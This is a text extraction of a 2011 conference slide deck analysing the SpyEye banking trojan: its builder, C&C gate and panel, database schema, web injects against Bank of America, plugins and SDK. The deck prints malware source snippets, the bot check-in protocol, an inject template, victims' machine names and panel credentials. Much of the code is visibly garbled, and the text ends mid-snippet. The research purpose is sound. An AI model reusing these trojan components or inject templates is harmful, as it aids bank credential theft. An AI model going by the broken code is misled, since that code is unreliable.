Spying on SpyEye

What Lies Beneath?

HackInTheBox Security Conference
Amsterdam, 2011

Aditya K Sood and Richard J Enbody

SecNiche Security | Department of Computer Science and Engineering
Michigan State University
About Us

- **Aditya K Sood**
  - Founder, SecNiche Security
  - Independent Security Consultant, Researcher and Practitioner
  - Worked previously for Armorize, Coseinc and KPMG
  - Active Speaker at Security conferences
  - Written Content – ISSA/ISACA/CrossTalk/HITB/Hakin9/Elsevier NES|CFS
  - LinkedIn: [http://www.linkedin.com/in/adityaks](http://www.linkedin.com/in/adityaks)
  - PhD Candidate at Michigan State University

- **Dr. Richard J Enbody**
  - Associate Professor, CSE, Michigan State University
  - Since 1987, teaching computer architecture/ computer security / mathematics
  - Website: [http://www.cse.msu.edu/~enbody](http://www.cse.msu.edu/~enbody)
  - Patents Pending – Hardware Buffer Overflow Protection
Agenda

- Walkthrough this Talk
  - SpyEye Problem
    » SpyEye chronology and released versions
    » Bot wars – SpyEye vs. Zeus
  - SpyEye Framework
    » Builder – Understanding the design
    » Backend Database Collector
    » Admin Panel / Form Grabber
  - SpyEye Browser Manipulation Tactics
    » Paradigm of web fakes
    » Digging inside web injects (complete working)
  - SpyEye Peripheral Components
    » Complete dissection of plugins and related functionalities
  - SpyEye – Testing and Hacking
    » Designing builder patches
    » Active detection and verification tests
  - Conclusion and Discussion
Bank robber, Willie Sutton famously answered about why he robbed banks: “That’s where the money is!”
What's the Problem?

SpyEye Botnet Steals Online Banking Credentials from Polish Users

New Spy Eye 'Toolkit' Kills Trojan, Then Steals Bank Info

SpyEye Steals your data. Even in a limited account

SpyEye Botnet's Bogus Billing Feature

SpyEye continues battle of the botnets

Zeus not the only threat to online banking, users warned

Lesser-known financial fraud malware include Bugat, SpyEye and Carberp

By John E Dunn | Published: 13:10 GMT, 13 October 10 | Techworld
### SpyEye Chronology

<table>
<thead>
<tr>
<th>SpyEye Ver</th>
<th>Module Specialties</th>
</tr>
</thead>
<tbody>
<tr>
<td>1.0.0</td>
<td>FormGrabber Keylogger</td>
</tr>
<tr>
<td></td>
<td>AutoFill Credential Module</td>
</tr>
<tr>
<td></td>
<td>File Transfer Protocol (FTP) Grabber</td>
</tr>
<tr>
<td></td>
<td>Post Office Protocol (POP3) Grabber</td>
</tr>
<tr>
<td>1.0.65</td>
<td>Malicious Executable Loader</td>
</tr>
<tr>
<td></td>
<td>Loader Specific Graph Generation</td>
</tr>
<tr>
<td></td>
<td>Country Specific Infection Loader</td>
</tr>
<tr>
<td></td>
<td>Bot Analytics Module</td>
</tr>
<tr>
<td>1.0.70</td>
<td>Zeus Trojan Killer Module</td>
</tr>
<tr>
<td></td>
<td>Basic Auth Credential Stealer</td>
</tr>
<tr>
<td>1.0.72</td>
<td>Global Anti Virus (AV) Cleaner</td>
</tr>
<tr>
<td></td>
<td>Enhancements in Modules and Bugfixes</td>
</tr>
<tr>
<td>1.0.75</td>
<td>Backend Database Collector Module</td>
</tr>
<tr>
<td></td>
<td>LZO compression Module</td>
</tr>
<tr>
<td></td>
<td>SpyEye Executable Compressed (40 KB)</td>
</tr>
<tr>
<td></td>
<td>Log Parsing based on Acceptability Rate of bot</td>
</tr>
<tr>
<td>1.0.8</td>
<td>Removed support for Dropper</td>
</tr>
<tr>
<td></td>
<td>Internet Explorer - Web Injects Support</td>
</tr>
<tr>
<td>1.1</td>
<td>Mozilla Firefox - Web Injects Support</td>
</tr>
<tr>
<td></td>
<td>Netscape Navigator - Web Injects Support</td>
</tr>
<tr>
<td></td>
<td>VM Protected Builder / Hardware Lock</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>SpyEye Ver</th>
<th>Module Specialties</th>
</tr>
</thead>
<tbody>
<tr>
<td>1.2.0</td>
<td>Custom and Self Designed Plugins</td>
</tr>
<tr>
<td></td>
<td>SpyEye SDK Enhanced</td>
</tr>
<tr>
<td></td>
<td>Socks with Backconnect Module</td>
</tr>
<tr>
<td></td>
<td>FTP Backconnect Module</td>
</tr>
<tr>
<td></td>
<td>Firefox Web Inject Module Optimized</td>
</tr>
<tr>
<td>1.2.4</td>
<td>Enhanced Data Stealling and Collection Module</td>
</tr>
<tr>
<td></td>
<td>&quot;TakeGateToCollector&quot; SDK API Added</td>
</tr>
<tr>
<td>1.2.22</td>
<td>Unlimited Paths to Backend Collector Database</td>
</tr>
<tr>
<td></td>
<td>Unlimited Count of Plugins Support</td>
</tr>
<tr>
<td></td>
<td>Robust Storage of Web Injects</td>
</tr>
<tr>
<td></td>
<td>Virus Buster and Detection Module</td>
</tr>
<tr>
<td></td>
<td>Backend collector HTTP Traffic Optimized</td>
</tr>
<tr>
<td></td>
<td>Web Fakes Generation Module</td>
</tr>
<tr>
<td>1.2.60</td>
<td>LITE-config module added</td>
</tr>
<tr>
<td></td>
<td>Efficient Cookies Handling Support</td>
</tr>
<tr>
<td></td>
<td>Non Exportable Certificate Removal Module</td>
</tr>
</tbody>
</table>

The development is not still over. Recent analysis shown SpyEye 1.2.99 and latest build 1.3.x is in the wild.
Bots Collaboration - Is this True?

False myth of predicting the truth. Fake Activity!

- No collaboration btw Zeus and SpyEye. No verification at all.
  - Latest of version of SpyEye (1.3.xx) is out. Discussed later on

Why it is considered as collaboration?

- Ineffective analysis and rogue research based on small set of information
- SpyEye/Zeus uses PHP, MySql and relative similar obfuscators.
  - This does not mean the rivals are collaborating!
SpyEye / Zeus - Bot Wars

- Anatomy of deceasing the rate of infections
  - SpyEye killing Zeus and vice versa
  - Game of controlling infected machines and making botnet robust
  - Incessant way to prove the power. Works good for analysts.

```c
BOOL KillZeus()
{
    // Getting info
    CHAR szMutexName[MAX_PATH] = {0};
    CHAR szZeusPath[MAX_PATH];
    GetZeusInfo(11, szZeusPath, sizeof(szZeusPath), szMutexName, sizeof(szMutexName));
    if (!strlen(szMutexName)) {
        #ifdef _DEBUGLITE
            OutputDebugStringEx(_FUNCTION__; ERROR: Cannot get szMutexName);)
        #endif
        return FALSE;
    }
    #ifndef ZEUS_FASTCLEAN
        GetZeusInfo(12, szZeusConfig, NULL, NULL);
    #endif
    #ifdef _DEBUGLITE
        OutputDebugStringEx(_FUNCTION__; ERROR: szMutex is still active!);)
    #endif
    return FALSE;
}
```

// Deleting files
if (!DeleteHiddenFile(szZeusPath)) {
    #ifdef _DEBUGLITE
        OutputDebugStringEx(_FUNCTION__; WARNING: Cannot delete \"%s\", szZeusPath);)
    #endif
    #ifndef ZEUS_FASTCLEAN
        if (!DeleteHiddenFile(szZeusConfig)) {
            #ifdef _DEBUGLITE
                OutputDebugStringEx(_FUNCTION__; WARNING: Cannot delete \"%s\", szZeusConfig);)
            #endif
        }
    #endif
    #ifdef _DEBUGLITE
        OutputDebugStringEx(_FUNCTION__; WARNING: Cannot delete \"%s\", szZeusLog);)
    #endif
    #endif
    #ifdef _DEBUGLITE
        OutputDebugStringEx(_FUNCTION__; WARNING: Cannot delete \"%s\", szZeusLog);)
    #endif
    #endif
    #ifdef _DEBUGLITE
        OutputDebugStringEx(_FUNCTION__; ERROR: Exit);)
    #endif
    return TRUE;
}
SpyEye – Infection Framework

Builder, Main Panel and Backend Collector
SpyEye – Infection Framework

- SpyEye Framework
  - Builder component
  - Main admin component
    - Form grabber admin
  - SpyEye bot
  - Backend Collector
### Builder / Bot Generator

- Used to generate a bot based on the specific build settings defined in a configuration file.
- Entries in the configuration file specify paths to local and remote resources which are used to include modules dynamically.
- Builder is protected with a collaborative protection mechanism using VMProtect and Hardware Identifier. Bots are usually packed with UPX/ASPACK.
- Configuration file is included from the remote server, it uses appropriate encryption key is used to maintain the integrity of file.
- It uses connection interval property to avoid delays when config file is in transfer mode.
SpyEye Framework

- **Admin Panel / Form Grabber**
  - Controls the structural dependencies and administrative operations of the SpyEye bot.
  - Provides updates for SpyEye builder for configuration and building an executable
  - Responsible for controlling the nature of plugins that are used by the SpyEye bot for infecting victim machines
  - Form grabber works explicitly in handling form data from victim machines
SpyEye Builder - HWID Protection

- SpyEye Builder Protection
  - HWID – Hardware Identifier
    - One machine per license – one stable execution.

- VMProtect
  - Converts x86 into VM pseudo code instructions
  - Binary is subjected with inbuilt VM decrypting engine
  - Pseudo code is chosen at random
  - Hard to analyze, requires long time
    - Used collectively with HWID

→ Good Read - http://www.usenix.org/event/woot09/tech/full_papers/rolles.pdf
SpyEye Execution Difference

SpyEye versions < 1.0.8

Builder (SpyEye) → Dropper (build.exe) → Bot (Cleansweep.exe)

SpyEye versions > 1.0.8

Builder (SpyEye) → Bot (Cleansweep.exe) - name varies

SpyEye don’t use any more dropper nowadays !!
SpyEye Bot

- Bot Functionality
  - Ring 3 rootkit characteristics
    - DLL hooking and hijacking in userland space
    - Performs injections in web processes
  - Hooks HTTP communication interface
  - Infection = SpyEye {Bots + Plugins}
SpyEye Bots - Updating Process

Tue, 21 Sep 2010 18:35:27 +0400 - UPDATE for bot "Administrator!MANUELCARLOS!CC72A216" : bot_ver = 10244 : md5 = 890c9d0ee8d32d4b4cd4a6e60c6ed835 : dbmd5 = f408d1920f873c80b2a8d8b91da9986
Tue, 21 Sep 2010 18:35:28 +0400 - Gonna update last_geop_check_bot for current bot (17987)
Tue, 21 Sep 2010 18:35:28 +0400 - UPDATE for bot "Fábio!PARTICUL-A8681A!387A4F18" : bot_ver = 10244 : md5 = 890c9d0ee8d32d4b4cd4a6e60c6ed835 : dbmd5 = f408d1920f873c80b2a8d8b91da9986
Tue, 21 Sep 2010 18:35:30 +0400 - UPDATE for bot "Ramos!PCRAMOS!EC1FE7C7A" : bot_ver = 10244 : md5 = 890c9d0ee8d32d4b4cd4a6e60c6ed835 : dbmd5 = f408d1920f873c80b2a8d8b91da9986
Tue, 21 Sep 2010 18:35:33 +0400 - UPDATE for bot "norte!NORTE-PC!2AB9AA5" : bot_ver = 10244 : md5 = 890c9d0ee8d32d4b4cd4a6e60c6ed835 : dbmd5 = f408d1920f873c80b2a8d8b91da9986
Tue, 21 Sep 2010 18:35:35 +0400 - UPDATE for bot "Cristina!SECRETARTA!2C41C9539" : bot_ver = 10244 : md5 = 166667066a222460d61532e1e1a80e2 : dbmd5 = f408d1920f873c80b2a8d8b91da9986
Tue, 21 Sep 2010 18:35:35 +0400 - UPDATE for bot "Olga!OLGA-DOP2BA2A15!404A7C9D" : bot_ver = 10244 : md5 = 890c9d0ee8d32d4b4cd4a6e60c6ed835 : dbmd5 = f408d1920f873c80b2a8d8b91da9986
Tue, 21 Sep 2010 18:35:36 +0400 - UPDATE for bot "hitokiri!D044AF12C31B4A6!F8066362" : bot_ver = 10244 : md5 = 890c9d0ee8d32d4b4cd4a6e60c6ed835 : dbmd5 = f408d1920f873c80b2a8d8b91da9986
Tue, 21 Sep 2010 18:35:38 +0400 - Gonna update date_last_geop_check_bot for current bot (17989)
Tue, 21 Sep 2010 18:35:38 +0400 - UPDATE for bot "USER!POSTO!B8D90A65" : bot_ver = 10244 : md5 = 890c9d0ee8d32d4b4cd4a6e60c6ed835 : dbmd5 = f408d1920f873c80b2a8d8b91da9986
Tue, 21 Sep 2010 18:35:38 +0400 - UPDATE for bot "Gocalo!PCQUARTO!A82C2CC02" : bot_ver = 10244 : md5 = 890c9d0ee8d32d4b4cd4a6e60c6ed835 : dbmd5 = f408d1920f873c80b2a8d8b91da9986
Tue, 21 Sep 2010 18:35:39 +0400 - UPDATE for bot "Andre Rei!ADMIN-PC13B43F13B" : bot_ver = 10244 : md5 = 166667066a222460d61532e1e1a80e2 : dbmd5 = f408d1920f873c80b2a8d8b91da9986
Tue, 21 Sep 2010 18:35:40 +0400 - UPDATE for bot "Silva!SILVA-PC!944C2335" : bot_ver = 10244 : md5 = 890c9d0ee8d32d4b4cd4a6e60c6ed835 : dbmd5 = f408d1920f873c80b2a8d8b91da9986
Tue, 21 Sep 2010 18:35:44 +0400 - UPDATE for bot "Higimédica!POSTO!FCAEFF6E4" : bot_ver = 10244 : md5 = 890c9d0ee8d32d4b4cd4a6e60c6ed835 : dbmd5 = f408d1920f873c80b2a8d8b91da9986
Tue, 21 Sep 2010 18:35:45 +0400 - UPDATE for bot "Comercial!CREATIVWARE_P0!04169211" : bot_ver = 10244 : md5 = 890c9d0ee8d32d4b4cd4a6e60c6ed835 : dbmd5 = f408d1920f873c80b2a8d8b91da9986
Tue, 21 Sep 2010 18:35:46 +0400 - UPDATE for bot "UTILIZADOR!UTILIZAD-D66A4F!D47BDA1D" : bot_ver = 10244 : md5 = 890c9d0ee8d32d4b4cd4a6e60c6ed835 : dbmd5 = f408d1920f873c80b2a8d8b91da9986
Tue, 21 Sep 2010 18:35:47 +0400 - UPDATE for bot "Ron!D8W67N2J!FOA5FF5" : bot_ver = 10244 : md5 = 890c9d0ee8d32d4b4cd4a6e60c6ed835 : dbmd5 = f408d1920f873c80b2a8d8b91da9986
Tue, 21 Sep 2010 18:35:49 +0400 - Gonna update date_last_geop_check_bot for current bot (17989)
Tue, 21 Sep 2010 18:35:49 +0400 - UPDATE for bot "Carlos!CARLOS-PC!B80C0D2E" : bot_ver = 10244 : md5 = 890c9d0ee8d32d4b4cd4a6e60c6ed835 : dbmd5 = f408d1920f873c80b2a8d8b91da9986
Tue, 21 Sep 2010 18:35:50 +0400 - Gonna update date_last_geop_check_bot for current bot (17984)
Tue, 21 Sep 2010 18:35:50 +0400 - UPDATE for bot "Leonardo!LEONARDO-PC!93E58841" : bot_ver = 10244 : md5 = 890c9d0ee8d32d4b4cd4a6e60c6ed835 : dbmd5 = f408d1920f873c80b2a8d8b91da9986
SpyEye Traffic Gates Paradigm

- Traffic Gates
  - Critical data, credit card numbers, billing information is routed through gates
  - Entry points for all the information that are stolen by the SpyEye bot
  - Completely automated and update the bots information periodically in database
  - Files → GATE.PHP / GATE_BILLING.PHP (Works with CONFIG.PHP)

```php
<?php
    // Database
    define('DB_SERVER', 'localhost');
    define('DB_NAME', 'user5');
    define('DB_USER', 'user5');
    define('DB_PASSWORD', 'xxxxxxxxxxxxxx');

    // Admin
    define('ADMIN_PASSWORD', '43c3xxxxxxxxxxxxx3');

    // Config
    define('CONFIG_FILE', 'bin/config.bin');

    // Stuff
    define('ST&T_COUNTRY_NUM', 10);
    $sql = escapeshellcmd($_GET['pig']);

    if ($sql)
    {
        $sql = str_replace('/', '\', $sql);
        $sql = str_replace(' ', '\', $sql);
        $match = preg_split('/(\[\])/', $sql);
        $cnt = count($match);
        $sqlp = '';
        for ($i = 0; $i < $cnt; $i++)
        {
            $plugin = $match[$i];
            $sqlp .= "plugin = " plugin = "$plugin ";
            if ($i + 1 != $cnt)
            {
                $sqlp .= " OR ";
            }
        }
    }

    function getip($ip, &$sipnp)
    {
        if (isset($ip))
        {
            $sip = $sipnp = $ip;
        } else {
            $sip = $sipnp = $ip;
        }
    }
}
```
SpyEye Traffic Stats & Server Config

```
<table>
<thead>
<tr>
<th>#</th>
<th>Bot GUID</th>
<th>Bot Ip</th>
<th>IP:Port for use</th>
<th>Speed</th>
<th>GeoIP Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>6.0.6001MAIQUYNH120A3C6FD</td>
<td>64.60708</td>
<td>64.40154</td>
<td>64.48829</td>
<td>64.59695</td>
</tr>
<tr>
<td>1</td>
<td>5.1.26001WIN7XPFC270DOS</td>
<td>64.60708</td>
<td>64.40154</td>
<td>64.48829</td>
<td>64.59695</td>
</tr>
<tr>
<td>2</td>
<td>5.1.26001YOUR-35S8189AC7778124C6</td>
<td>64.60708</td>
<td>64.40154</td>
<td>64.48829</td>
<td>64.59695</td>
</tr>
<tr>
<td>3</td>
<td>5.1.26001GONZALES-PCIO0258986</td>
<td>64.60708</td>
<td>64.40154</td>
<td>64.48829</td>
<td>64.59695</td>
</tr>
<tr>
<td>4</td>
<td>5.1.26001NEIA-VAOJ0184E4D27</td>
<td>64.60708</td>
<td>64.40154</td>
<td>64.48829</td>
<td>64.59695</td>
</tr>
<tr>
<td>5</td>
<td>5.1.26001ILLUSION_V2148907C</td>
<td>64.60708</td>
<td>64.40154</td>
<td>64.48829</td>
<td>64.59695</td>
</tr>
<tr>
<td>6</td>
<td>6.0.6002JULIEN-PCIOE6B1817</td>
<td>64.60708</td>
<td>64.40154</td>
<td>64.48829</td>
<td>64.59695</td>
</tr>
<tr>
<td>7</td>
<td>5.1.26001MICROSOFT-311F99100125F</td>
<td>64.60708</td>
<td>64.40154</td>
<td>64.48829</td>
<td>64.59695</td>
</tr>
<tr>
<td>8</td>
<td>5.1.26001COMPUTER-7A5D1089DDB2</td>
<td>64.60708</td>
<td>64.40154</td>
<td>64.48829</td>
<td>64.59695</td>
</tr>
</tbody>
</table>
```

Server:

```
| default         | del_period_days: 90 |
| geoip_update_check_interval_days: 30 |
| stat_country_num: 10 |
| update           | 0          |
| skip_update      | 0          |
| skip_update_config: 0 |
| interface        | 1          |
| auto_reload_panels: 1 |
| bots_monitoring_geoip_hide: 0 |
| virtest          | gribdemon   |
| login:           | gribdemon   |
| password:        | 555        |
| Rdps             | 1.1.1.1     |
| rdp_server_ip:   | rdp         |
| rdp_db:          | 1.1.1.1     |
| rdp_host:        | 1.1.1.1     |
| rdp_password:    | Z/jSBDfjkSgUpQrG |
| rdp_table:       | list        |
| rdp_user:        | rdp         |
| bc:              | BC          |
| bc_db:           | localhost   |
| bc_password:     | c4ssI3      |
| bc_table:        | bots        |
| bc_user:         | root        |
| bc_stuff:        |             |
| bc_server_ip:    |             |
| bc_show_geoip:   | 1           |
| bc_show_bots_ip: | 1           |
```

Image of SpyEye server configuration and traffic stats.
SpyEye - Mutex

- Understanding the Mutex
  - Mutual Exclusion
    - Mutex is required explicitly for SpyEye bot
    - Avoiding the concurrent use of SpyEye bot during administrative procedures
      » Mutex name can be specified in the builder component
    - SpyEye bot if not compiled with unique mutex name does not work properly
      » Mutex is required to **update the** SpyEye bot in victim machine
      » Mutex is required to **delete the bot** from the victim machine

![Screenshot of SpyEye Mutex configuration process]

- Make build without ZLIB support
- Make LITE-config (without webinjets, plugins & screenshots):
  - EXE name: RecycleSys
  - Mutex name: SystemS3rvice

![Screenshot of build configuration]

- Make config & get build
SpyEye - Backend Collector

- Backend Collector
  - Storage database does not reside on the same C&C server
  - Raw data is compressed with LZO.
  - Introduced after SpyEye 1.0.70
Admin Panel – Database Dumping

CREATE TABLE `cards` (  `id_card` bigint(20) unsigned NOT NULL auto_increment,  `NUM` varchar(40) default NULL,  `CSC` varchar(5) default NULL,  `EXP_DATE` timestamp NULL default NULL,  `NAME` varchar(100) NOT NULL,  `SURNAME` varchar(100) NOT NULL,  `ADDRESS` varchar(100) default NULL,  `CITY` varchar(50) default NULL,  `STATE` varchar(30) default NULL,  `POST_CODE` varchar(10) default NULL,  `PHONE_NUM` varchar(30) default NULL,  `USED` tinyint(4) NOT NULL default '0',  `FK_EMAIL` bigint(20) NOT NULL,  `FK_COUNTRY` bigint(20) NOT NULL,  `fk_gtaak` bigint(20) unsigned NOT NULL,  PRIMARY KEY (`id_card`),  ENGINE=MyISAM DEFAULT CHARSET=cp1251 AUTO_INCREMENT=1 ;)

CREATE TABLE `plugins` (  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,  `FK_bot` int(10) unsigned NOT NULL,  `plugin` varchar(40) NOT NULL,  `status` tinyint(4) NOT NULL,  PRIMARY KEY (`id`),  UNIQUE KEY `fk_bot` (`FK_bot`,`plugin`)  ) ENGINE=MEMORY DEFAULT CHARSET=latin1 AUTO_INCREMENT=4 ;

CREATE TABLE `bot_t` (  `id` bigint(20) NOT NULL auto_increment,  `name` varchar(20) not null,  PRIMARY KEY (`id`),  ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=123 ;)

CREATE TABLE `logs_t` (  `id_log` bigint(20) unsigned NOT NULL auto_increment,  `message` text CHARACTER SET utf8 COLLATE utf8_unicode_ci,  PRIMARY KEY (`id_log`),  ENGINE=MyISAM DEFAULT CHARSET=cp1251 AUTO_INCREMENT=1624 ;

CREATE TABLE `bots_t` (  `id_bot` bigint(20) unsigned NOT NULL auto_increment,  `name` varchar(25) NOT NULL,  PRIMARY KEY (`id_bot`),  ENGINE=MyISAM DEFAULT CHARSET=cp1251 COMMENT='table of bots' AUTO_INCREMENT=16826 ;

CREATE TABLE `update_bot` (  `id` int(11) NOT NULL auto_increment,  `md5` varchar(32) NOT NULL,  `path` varchar(100) NOT NULL,  PRIMARY KEY (`id`),  ) ENGINE=MyISAM DEFAULT CHARSET=cp1251 AUTO_INCREMENT=1 ;

CREATE TABLE `commands_bot` (  `id` int(11) NOT NULL auto_increment,  `command` varchar(25) NOT NULL,  PRIMARY KEY (`id`),  ) ENGINE=MyISAM DEFAULT CHARSET=cp1251 AUTO_INCREMENT=1 ;

CREATE TABLE `version` (  `id_version` bigint(20) unsigned NOT NULL auto_increment,  `name` varchar(25) NOT NULL,  PRIMARY KEY (`id_version`),  ) ENGINE=MyISAM DEFAULT CHARSET=cp1251 AUTO_INCREMENT=1 ;
SpyEye – Browser Manipulation

Web Browser Injects and Web Fakes
Web Browser Injects

- Exemplary layout of Man in the Browser (MITB) attacks
- Hooking the browser communication channel
  - Victim machine and active session of the website
  - URL remain intact, no possible changes
- Pure hooking and DLL hijacking in Wininet.dll / nspr4.dll
Web Browser Injects – NS Example

set_url
https://www.bankofamerica.com/*

data_before

<td width="262">

data_end

data_inject

<OBJECT

classid="clsid:D27CDB6E-AE6D-11cf-
-96B8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
WIDTH="320" HEIGHT="240"
id="Yourfilename" ALIGN="">

<PARAM NAME=movie

VALUE="Yourfilename.swf">

<PARAM

NAME=quality VALUE=high>

<PARAM

NAME=bgcolor VALUE=#333399>

<EMBED

src="http://www.design-pe.com/temp/banner468x60.swf" quality=high
bgcolor=#333399 WIDTH="468"
HEIGHT="60" NAME="Yourfilename"
ALIGN="">

TYPE="application/x-shockwave-fla

sh"

PLUGINSPAGE="http://www.macromedi

a.com/go/getflashplayer"></EMBED>

</OBJECT>

data_end

data_after

</td>

data_end
SpyEye Web Fakes

- What are Web Fakes?
  - Generating fake web pages with real domain names (manipulating address bar)
  - Bots communicate with plugins to generate web fakes
  - Example: bankofamerica.com
SpyEye Web Fakes – How ?

DLEXPORT void Callback_OnBeforeLoadPage(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szPostVars, OUT PCHAR * lpszContent, OUT PDWORD lpdwSize)
{
    if (!strstr(szUrl, "google")) {
        DebugWrite("Output : \n\n\n", data);

        if (!checkmem_forread(lpszContent, sizeof(DWORD))) {
            DebugWrite("[ERROR] : Achtung! : *lpszContent == 0x00 is not readable", *lpszContent);
            return;
        }

        lpszContent = (PCHAR)malloc(sizeof(data));
        if (!lpszContent) {
            DebugWrite("[ERROR] : Achtung! : *lpszContent == NULL");
            return;
        }

        CopyMemory(*lpszContent, data, sizeof(data));
        *lpdwSize = sizeof(data);
    }
}

DLEXPORT void Callback_ProcessContentOfFilePage(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szPageContent, OUT PCHAR * szOut, IN OUT PDWORD lpdwSize)
{
    if (strstr(szUrl, "google")) {
        DWORD dwMaxSize = 200000;
        if (dwMaxSize < strlen(szPageContent))
            return;
        *szOut = (PCHAR)malloc(dwMaxSize);
        if (!*szOut)
            return;
        ZeroMemory(*szOut, dwMaxSize);
        CopyMemory(*szOut, szPageContent, strlen(szPageContent));
        PCHAR szPos = strstr(*szOut, "porno");
        if (szPos) {
            CopyMemory(szPos, "xxxxx", 5);
        }
        *lpdwSize = strlen(szPageContent);
    }
SpyEye – Additional Components

SDK, Plugins and Modules
SpyEye – Bot Development Kit

- SpyEye SDK
  - Efficient and Modular
  - Developing Bots
    - Better to call it as Bot development kit
  - All the bot communication to command and control server is done using these proprietary functions
  - Well, treating bot from a perspective of software design
    - Hilarious and devastating

SpyEye Plugin's SDK

- Introduction
- API
  - Calling convention
  - Init
  - Start
  - Stop
  - TakeGateToCollector
  - TakeGateToCollector2
  - TakeBotGuid
  - TakeBotPath
  - TakeBotVersion
  - GameState
  - KeepAlive
  - IsGlobal
  - Callback_OnBeforeProcessUrl
  - Callback_OnBeforeLoadPage3
  - Callback_OnAfterLoadingPage
  - Callback_ChangePostRequest
  - FreeMem
  - TakeGetPage
  - TakeGetPage2
  - TakeFreeMem
  - Callback__WS2_32__send
  - TakeConfigCre32Callback
  - TakeBotExeMd5Callback
  - TakePluginsListCallback
  - TakeMainCpGateOutputCallback
  - MainCpGateInput
  - TakeUpdateBotExe
  - TakeUpdateConfig
  - TakeStartExe
- Shellcodes - low-level plugins
- FAQ
  - q: How to implement webfakes?
  - q: Why do I need a customconnector plugin?
SpyEye (1.3.x) Plugins

- SpyEye Plugins
  - Credit Card Grabber
    - ccgrabber.dll
  - Distributed Denial of Service
    - ddos.dll
  - Firefox Certificate Grabber
    - ffcertgrabber.dll
  - SOCKS 5 Proxy
    - socks5.dll
  - FTP Back-connect
    - ftpbc.dll
  - Bug Reporting
    - bugreport.dll
  - Custom Connector
    - customconnector.dll

Separate configuration files are used for each plugin
Custom Connector Plugin

FAQ: Why do I need a custom-connector plugin?

Starting with v1.3, SpyEye uses a separate plugin for communicating with the main control panel.

At the moment, is used the following protocol for communication with the admin. The bot, over an interval, sends such info to the gate:

```
> gate.php?guid=!USER-5C377A2CCF!046502F4&ver=10207&stat=ONLINE&ie=6.0.2900.2180&os=5.1.2600&ut=Admin&ccrc=13A7F1B3&md5=b9c3cb2cdc66b1f4465fe56cc34040b2&plg=customconnector
```

This is a HTTP-GET request, which can be segmented into the following variables:

- guid
- ver
- ccrc
- md5
- plg
- stat
- ie
- os
- ut

The first five variables are mandatory. The admin panel, analyzing their meaning, can issue the following commands:

- Update the main bot executable
- Update the bot config
- Start/Stop for a bot plugin

To find the values for each of them, the plugin uses the appropriate API:

- TakeBotGuid
- TakeBotVersion
- TakeConfigCrc32Callback
- TakeBotExeMd5Callback
- TakePluginsListCallback
SpyEye Plugin Analyzer

- Inbuilt Plugin Analyzer
  - It keeps a track on the state of installed plugins
  - Developed to manage plugins using play and stop switches (Updates)
  - Status (plugin infection) of any bot can be stopped at any time.
  - It provides botmaster with more effective control over plugin infection rate

```php
function showGlobalItemStat($arg, $plugin) {
    ajax_load('mod_plugins Glob.php?plugin=' . $plugin . '&amp;act=' . $arg . '&amp;id=' . null . null . null . '<img src=');
}

require_once 'mod_plugins.php';
$dbase = db_open();
if (!$dbase) exit;
$sql = "SELECT plugins.status FROM plugins WHERE plugins.id = $id";
$fres = mysql_query($dbase, $sql);
list($status) = mysql_fetch_array($fres);
if ($status == 0) {
    $sql = "UPDATE plugins SET status = 1 WHERE $id bot = $varvalue and plugin = $plugin LIMIT 1";
    mysql_query($dbase, $sql);
    _close($dbase);
} else {
    echo $id;
}
```
FTP Back Connect

- Used to enumerate file system of the infected machines (bots driven) running FTP servers.
- Used to bypass NAT (basically for bots that installed on machines that do not have dedicated IP’s).
- Default port - 3001
SOCKS 5 Back Connect

- **SOCKS 5 Proxy**
  - Attacking systems inside NAT, bypassing firewalls.
  - Default Port – 3000
  - Effective in routing browser communication (Encapsulation TCP Packets in SOCKS)
  - Session layer control (Layer 5 of TCP/IP model)

```javascript
// ---
$socks = $GET['s'];
// ---
$url = 'http://www.google.com';
$oktext1 = '302 Moved';
$oktext2 = 'Google';
$headers[] = 'Connection: Close';
$user = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)';
$compression = 'gzip';
timeout = 20;
$cnt = 1;
// ---
$process = curl_init($url);
curl_setopt($process, CURLOPT_HTTPHEADER, $headers);
curl_setopt($process, CURLOPT_HEADER, 0);  
curl_setopt($process, CURLOPT_USERAGENT, $user);  
curl_setopt($process, CURLOPT_ENCODING, $compression);  
curl_setopt($process, CURLOPT_TIMEOUT, $timeout);  
curl_setopt($process, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);  
curl_setopt($process, CURLOPT_PROXYHOST, 'localhost');  
curl_setopt($process, CURLOPT_PROXYPORT, 3000);  
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);  
curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);  
$buffer = curl_exec($process);
```
Bank of America (BOA) Grabber

```php
// function findboss() {
//   ... (code snippet)
// }
```

```sql
// $sql = "SELECT DISTINCT left( right(func_data, (length(func_data) - instr(func_data, 'password')) - 9)), instr( concat(right(func_data, (length(func_data) - instr(func_data, 'password')) - 9)), 'char(13)', 'char(13)') - 1) as sData"
//   ... (code snippet)
// $res = mysql_query($dbase, $sql);
if ( (!is_null($res)) || mysqli_num_rows($res) ) {
  // Some code...
  exit;
}
```

FF Certificates Grabber

- Firefox Certificates Grabber
  - SpyEye plugin (ffcertgrabber.dll) communicates with gateway (POST)
  - Bot sends certificate information in POST parameters to `savecert.php` file hosted in C&C server. Opens database and store it.
  - Uses, JSON, Autocomplete and AJAX calls in data operations

```php
$bot_guid = $_POST['bot_guid'];
$certdatestart = $_POST['certdatestart'];
$certdateend = $_POST['certdateend'];
$data = $_POST['data'];
$limit = $_POST['limit'];
$showUseless = $_POST['showUseless'];

if (strlen($certdatestart) && strlen($certdateend)) {
    list($day, $month, $year) = split('/[-]?', $certdatestart);
    $timestamp1 = mktime(0, 0, 0, $month, $day, $year);
    list($day, $month, $year) = split('/[-]?', $certdateend);
    $timestamp2 = mktime(0, 0, 0, $month, $day, $year);
    $sql = "AND UNIX_TIMESTAMP(cert.date_rep) >= UNIX_TIMESTAMP('\$timestamp1') AND UNIX_TIMESTAMP(cert.date_rep) < UNIX_TIMESTAMP('\$timestamp2')";
}
if (strlen($bot_guid)) {
